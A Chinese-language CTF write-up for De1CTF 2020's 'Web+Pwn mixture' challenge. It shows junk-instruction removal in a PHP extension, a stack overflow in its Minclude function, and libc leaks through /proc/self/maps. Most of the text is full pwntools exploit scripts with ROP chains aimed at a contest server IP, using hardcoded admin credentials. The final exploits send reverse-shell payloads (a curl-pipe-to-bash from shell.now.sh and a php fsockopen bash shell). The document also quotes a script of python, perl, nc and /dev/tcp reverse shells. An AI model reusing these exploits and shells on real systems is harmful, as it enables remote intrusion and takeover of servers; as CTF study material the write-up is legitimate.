De1CTF 2020 Web+Pwn mixture

本题前面是Web,SQL注入注出管理员的密码,然后能任意读取文件,发现php使用了一个自定义的函数,读取到这个函数的实现的动态链接库,去除花指令后发现有个栈溢出,但是在利用的过程中需要注意栈的使用情况。

参考

分析

Web盲注啥的就不说了,单说Pwn的部分,拿到Minclude.so后进行分析,zif_Minclude就是php中Minclude函数具体的实现,至于开头为啥是zif,有人回答:'zif' stands for Zend Internal Function,这个函数名是怎么生成的呢?php 内核探秘之 PHP_FUNCTION 宏

发现IDA无法对zif_Minclude分析出正确的C代码,因为这里存在着花指令即这种代码:

.text:000000000000122E 50                                            push    rax
.text:000000000000122F 48 31 C0                                      xor     rax, rax
.text:0000000000001232 74 02                                         jz      short next1
.text:0000000000001232                               zif_Minclude    endp ; sp-analysis failed
.text:0000000000001232
.text:0000000000001232                               ; ---------------------------------------------------------------------------
.text:0000000000001234 E9 DE                                         db 0E9h, 0DEh
.text:0000000000001236                               ; ---------------------------------------------------------------------------
.text:0000000000001236                               ; START OF FUNCTION CHUNK FOR zif_Minclude
.text:0000000000001236
.text:0000000000001236                               next1:                                  ; CODE XREF: zif_Minclude+12j
.text:0000000000001236 58                                            pop     rax
.text:0000000000001237 48 C7 04 24 00 00 00 00                       mov     [rsp+98h+arg], 0
.text:000000000000123F 50                                            push    rax
.text:0000000000001240 E8 01 00 00 00                                call    l2
.text:0000000000001240                               ; END OF FUNCTION CHUNK FOR zif_Minclude
.text:0000000000001240                               ; ---------------------------------------------------------------------------
.text:0000000000001245 EA                                            db 0EAh
.text:0000000000001246
.text:0000000000001246                               ; =============== S U B R O U T I N E =======================================
.text:0000000000001246
.text:0000000000001246
.text:0000000000001246                               l2              proc near               ; CODE XREF: zif_Minclude+20p
.text:0000000000001246 58                                            pop     rax
.text:0000000000001247 48 83 C0 08                                   add     rax, 8
.text:000000000000124B 50                                            push    rax
.text:000000000000124C C3                                            retn
.text:000000000000124C                               l2              endp
.text:000000000000124C
.text:000000000000124D                               ; ---------------------------------------------------------------------------
.text:000000000000124D 58											 push    rax

顺着阅读一遍就发现其实啥都没干,所以这段直接patch掉就好,全部变成nop,接着第一次学习去除花指令的机会安装了keypatch插件,因为mac下需要编译libkeystone.dylib这个库,所以直接用了人家编译好的现成的keystone:

安装好keypatch插件直接选中如上代码,然后全patch成nop就好了,然后关于添加花指令以及IDA去除脚本:

然后在IDA中需要重新分析一遍这个函数,即undefine整个函数,然后重新create function即可分析出zif_Minclude函数

void __fastcall zif_Minclude(zend_execute_data *execute_data, zval *return_value)
{
  zval *v2; // r12
  unsigned __int64 v3; // rsi
  FILE *v4; // rbx
  __int64 v5; // rax
  char *arg; // [rsp+0h] [rbp-98h]
  size_t n; // [rsp+8h] [rbp-90h]
  char a[100]; // [rsp+10h] [rbp-88h]
  char *v9; // [rsp+74h] [rbp-24h]

  v2 = return_value;
  memset(a, 0, 0x60uLL);
  *(_DWORD *)&a[96] = 0;
  v9 = a;
  if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &arg, &n) != -1 )
  {
    memcpy(a, arg, n);
    php_printf("%s", a);
    php_printf("<br>", a);
    v3 = (unsigned __int64)"rb";
    v4 = fopen(a, "rb");
    if ( v4 )
    {
      while ( !feof(v4) )
      {
        v3 = (unsigned int)fgetc(v4);
        php_printf("%c", v3);
      }
      php_printf("\n", v3);
    }
    else
    {
      php_printf("no file\n", "rb");
    }
    v5 = zend_strpprintf(0LL, "True");
    v2->value.lval = v5;
    v2->u1.type_info = (*(_BYTE *)(v5 + 5) & 2u) < 1 ? 5126 : 6;
  }
}
  • 很明显在memcpy时n没有进行限制,且没有canary,栈溢出可以直接利用
  • char a[100]; // [rsp+10h] [rbp-88h],即IDA分析结果,0x88字节即可溢出
  • 并且v9 = a;,故意将栈地址放到了栈上可以进行泄露
  • 内存布局可以通过读取文件系统中的/proc/self/maps进行泄露
  • libc可以直接下载

但是和平时pwn有区别,这里的和我们的交互是apache,我们想看到执行的结果需要让apache正常返回,直接执行命令的输出是在apache的tty上,我们远程无法看到,所以需要反弹shell。

测试利用

sleep 成功

因为无法回显,所以通过调用sleep函数,测试是否劫持控制流成功,ROP的payload如下:

payload = "a"*0x88
payload += p64(pop_rdi) + p64(5) + p64(libc.symbols['sleep'])

完整exp如下,发现的确延迟返回了,证明控制流劫持成功。

from pwn import *
import requests,re

url  = "http://134.175.185.244"
libc = ELF("./libc.so")
session = requests.Session()

def login():
    paramsPost = {"password":"goodlucktoyou","submit":"submit","username":"admin"}
    session.post(url+"/index.php", data=paramsPost)

def send(payload):
    paramsPost = {"submit":"submit","search":payload}
    response = session.post(url+"/select.php", data=paramsPost)
    return re.findall('\<\/form\>(.*?)\<br\>',response.content)[0]

def read(payload):
    paramsPost = {"submit":"submit","search":payload}
    response = session.post(url+"/select.php", data=paramsPost)
    return response.content[1517+len(payload):-1]

login()

# leak libc and stack
libc.address = int('0x'+re.findall('(.*?)libc-2.28',read("/proc/self/maps"))[0][:12],16)
log.warn("libc: "+str(hex(libc.address)))

# gadget
pop_rdi  = libc.address + 0x023a5f

payload = "a"*0x88
payload += p64(pop_rdi) + p64(5) + p64(libc.symbols['sleep'])
send(payload)

system 失败

但是我首先泄露栈地址,然后用system函数执行,怎么也无法成功,我认为应该毫无问题,卡在这整整两天,payload如下:

payload = "sleep 5\x00".ljust(0x88)
payload += p64(pop_rdi) + p64(stack) + p64(libc.symbols['system'])

完整exp如下,发现马上返回,没有成功sleep

from pwn import *
import requests,re

url  = "http://134.175.185.244"
libc = ELF("./libc.so")
session = requests.Session()

def login():
    paramsPost = {"password":"goodlucktoyou","submit":"submit","username":"admin"}
    session.post(url+"/index.php", data=paramsPost)

def send(payload):
    paramsPost = {"submit":"submit","search":payload}
    response = session.post(url+"/select.php", data=paramsPost)
    return re.findall('\<\/form\>(.*?)\<br\>',response.content)[0]

def read(payload):
    paramsPost = {"submit":"submit","search":payload}
    response = session.post(url+"/select.php", data=paramsPost)
    return response.content[1517+len(payload):-1]

login()

# leak libc and stack
libc.address = int('0x'+re.findall('(.*?)libc-2.28',read("/proc/self/maps"))[0][:12],16)
stack = u64(send('a'*0x64)[0x64:].ljust(8, b'\0'))

log.warn("stack: "+str(hex(stack)))
log.warn("libc: "+str(hex(libc.address)))

# gadget
pop_rdi  = libc.address + 0x023a5f

payload = "sleep 5\x00".ljust(0x88)
payload += p64(pop_rdi) + p64(stack) + p64(libc.symbols['system'])
send(payload)

失败原因

这个小结就是批评与自我批评,古人叫吾日三省吾身,西方叫忏悔。

赛后看官方wp中有这么一句话:Notice that the address of the path is smaller than rsp when return, and next call system may cover it, so you should put your command behind.,这才恍然大悟,原来我放命令字符串的地址在调用system时可能会被覆盖。出题人的解释另一种可能是:fork时可能也只会复制高于rsp的栈空间中的内容。如图红色的部分可能会被system函数当成栈空间来使用,其中布置的数据可能遭到破坏。

image

所以我们在payload里最好还是将命令字符串往后面放,构造如图中的第二种payload。本题也让我们注意了,我们能控制内存的能力,在时间维度上是有变化的。我这次失败的本质原因,就是因为没有洞察到,当下构造好的数据可能在未来(真正被用到的时刻)会被破坏。不过也有放在前面成功的攻击方法,如下面完整exp的attack2方法,所以上面的猜想都是可能

最终exp

这里参考以上的wp给出两种栈布局分别利用两种反弹shell方法的exp:

from pwn import *
import requests,re

url  = "http://134.175.185.244"
libc = ELF("./libc.so")
session = requests.Session()

def login():
    paramsPost = {"password":"goodlucktoyou","submit":"submit","username":"admin"}
    session.post(url+"/index.php", data=paramsPost)

def send(payload):
    paramsPost = {"submit":"submit","search":payload}
    response = session.post(url+"/select.php", data=paramsPost)
    return re.findall('\<\/form\>(.*?)\<br\>',response.content)[0]

def read(payload):
    paramsPost = {"submit":"submit","search":payload}
    response = session.post(url+"/select.php", data=paramsPost)
    return response.content[1517+len(payload):-1]

login()

# leak libc and stack
libc.address = int('0x'+re.findall('(.*?)libc-2.28',read("/proc/self/maps"))[0][:12],16)
stack = u64(send('a'*0x64)[0x64:].ljust(8, b'\0'))

log.warn("stack: "+str(hex(stack)))
log.warn("libc: "+str(hex(libc.address)))

# gadget
pop_rdi  = libc.address + 0x023a5f
pop4_ret = libc.address + 0x024568

def attack1():
    payload = "a"*0x88
    payload += p64(pop_rdi) + p64(stack+0xa0) + p64(libc.symbols['system'])
    payload += "curl https://shell.now.sh/x.x.x.x:8888|bash\x00"
    send(payload)

def attack2():
    payload = "php -r '$sock=fsockopen(\"x.x.x.x\",8888);exec(\"bash -i <&3 >&3 2>&3\");'\x00".ljust(0x88)
    payload += p64(pop_rdi)*10+p64(pop4_ret)+p64(0)*4
    payload += p64(pop_rdi)+p64(stack)+p64(libc.symbols['system'])
    send(payload)

attack2()

反弹shell之后还要跟一个程序进行交互才可以,这里也不分析方法了,不过提一下各种反弹shell方法的说明:

反弹shell

php

"php -r '$sock=fsockopen(\"x.x.x.x\",8888);exec(\"bash -i <&3 >&3 2>&3\");'\x00"
<?php
$sock=fsockopen("x.x.x.x",8888);
exec("bash -i <&3 >&3 2>&3");
?>
  • 使用php -r直接执行php代码
  • php使用fsockopen打开了一个连接到我们主机的流,因为是一个新的进程,所以对应的文件描述符是3
  • 然后执行bash,将bash的输入输出和错误都定向到我们主机上:Bash 中的 & 符号和文件描述符

shell.now.sh

"curl https://shell.now.sh/x.x.x.x:8888|bash\x00"

打开这个网页发现,就是尝试用各种方法去反弹shell

# Reverse Shell as a Service
# https://github.com/lukechilds/reverse-shell
#
# 1. On your machine:
#      nc -l 1337
#
# 2. On the target machine:
#      curl https://shell.now.sh/yourip:1337 | sh
#
# 3. Don't be a dick

if command -v python > /dev/null 2>&1; then
	python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("x.x.x.x",8888)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
	exit;
fi

if command -v perl > /dev/null 2>&1; then
	perl -e 'use Socket;$i="x.x.x.x";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
	exit;
fi

if command -v nc > /dev/null 2>&1; then
	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 8888 >/tmp/f
	exit;
fi

if command -v sh > /dev/null 2>&1; then
	/bin/sh -i >& /dev/tcp/x.x.x.x/8888 0>&1
	exit;
fi

自己瞎试

比赛的时候没想明白栈上的问题,导致试了一堆方法,甚至想通过php的函数让apache正常返回,将命令执行的结果塞到网页中,因此还研究半天php内核,因为想ROP到php的内核函数上,但最终无果,一堆乱七八糟的尝试如下:

from pwn import *
import requests,re 

uu64    = lambda data   :u64(data.ljust(8, b'\0'))

#url  = "http://134.175.185.244"
url  = "http://49.51.251.99"
libc = ELF("./libc.so")
minc = ELF("./Minclude.so")
session = requests.Session()


def login():
    paramsPost = {"password":"goodlucktoyou","submit":"submit","username":"admin"}
    session.post(url+"/index.php", data=paramsPost)


def send(payload):
    paramsPost = {"submit":"submit","search":payload}
    try:
        response = session.post(url+"/select.php", data=paramsPost)
        print response.content
        return re.findall('\<\/form\>(.*?)\<br\>',response.content)[0]
    except:
        print "error"

def read(payload):
    paramsPost = {"submit":"submit","search":payload}
    response = session.post(url+"/select.php", data=paramsPost)
    #print response.content
    return response.content[1517+len(payload):-1]

def down(payload,filename):
    paramsPost = {"submit":"submit","search":payload}
    response = session.post(url+"/select.php", data=paramsPost)
    f = open(filename, "w")
    f.write(response.content[1517+len(payload):-2])

login()
stack = uu64(send('a'*0x64)[0x64:])
some  = uu64(send('a'*0x70)[0x70:])

down("/usr/lib/apache2/modules/libphp7.so","remotelibphp.so")
# down("/proc/self/maps","maps")
# down("/usr/local/lib/php/extensions/no-debug-non-zts-20170718/Minclude.so","Minc.so")

ret = 0x7f2fb1c111b4

libc.address = int('0x'+re.findall('(.*?)libc-2.28',read("/proc/self/maps"))[0][:12],16)
php_addr = int('0x'+re.findall('(.*?)libphp',read("/proc/self/maps"))[0][:12],16)
include_addr = int('0x'+re.findall('(.*?)Minclude',read("/proc/self/maps"))[0][:12],16)
log.warn("libc: "+str(hex(libc.address)))
log.warn("stack: "+str(hex(stack)))
log.warn("php: "+str(hex(php_addr)))
log.warn("some: "+str(hex(some)))
log.warn("Minclude: "+str(hex(include_addr)))
log.warn("ret: "+str(hex(ret-php_addr)))


pop_rdi = 0x23a5f  + libc.address
pop_rsi = 0x2440e  + libc.address
pop_rdx = 0x106725 + libc.address
pop_rax = 0x3a638  + libc.address
push_rax = 0x3680d + libc.address

ret1 = php_addr + 0x498670
ret2 = php_addr + 0x498816
ret3 = php_addr + 0x4EFD83
ret4 = php_addr + 0x4F645E

payload = 'a'*0x70+p64(some)+'a'*0x10
#payload += p64(pop_rdi)+p64(include_addr+0x2054)+p64(minc.plt['php_printf'])
payload += p64(ret)
#payload = +p64(include_addr+0x1368)+p64(ret)
send(payload)


# for i in range(0,255,1):
#     print i
#     payload = 'a'*0x70+p64(some)+'a'*0x10+chr(180)+chr(17)+chr(193)+chr(177)+chr(47)+chr(127)
#     send(payload)
# payload = 'a'*0x88+p64(pop_rdi)+p64(0x5)+p64(libc.symbols['sleep'])+p64(ret4)
# send(payload)

# down("/usr/lib/apache2/modules/libphp7.so","pwnlibphp.so")


# payload = 'a'*0x88+p64(pop_rdi)+p64(0x5)+p64(libc.symbols['sleep'])
# payload = '/tmp/xuanxuan\x00'.ljust(0x88, 'a')
# payload += p64(pop_rdi)+p64(stack)+p64(pop_rsi)+p64(0x41)+p64(libc.symbols['open'])
# send(payload)

# for i in range (10000):
#     test = stack + i*0xf
#     log.warn(hex(test))
#     session = requests.Session()
#     payload = 's;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;wget http://xxxx:8888\x00'.ljust(0x88,'a')
#     payload += p64(pop_rdi)+p64(test)+p64(libc.symbols['system'])
#     #print payload
#     send(payload)

#payload = '/bin/sleep\x005\x00'.ljust(0x88,'a')
#payload += p64(pop_rdi)+p64(0x5)+p64(libc.symbols['sleep'])
#payload += p64(pop_rdi)+p64(stack)+p64(pop_rsi)+p64(stack+12)+p64(libc.symbols['execl'])

# payload = 'a'*0x88
# payload += p64(pop_rdi)+p64(stack)+p64(pop_rsi)+p64(0x41)+p64(libc.symbols['open'])
sudo apt-get install apache2-dev
--with-apxs2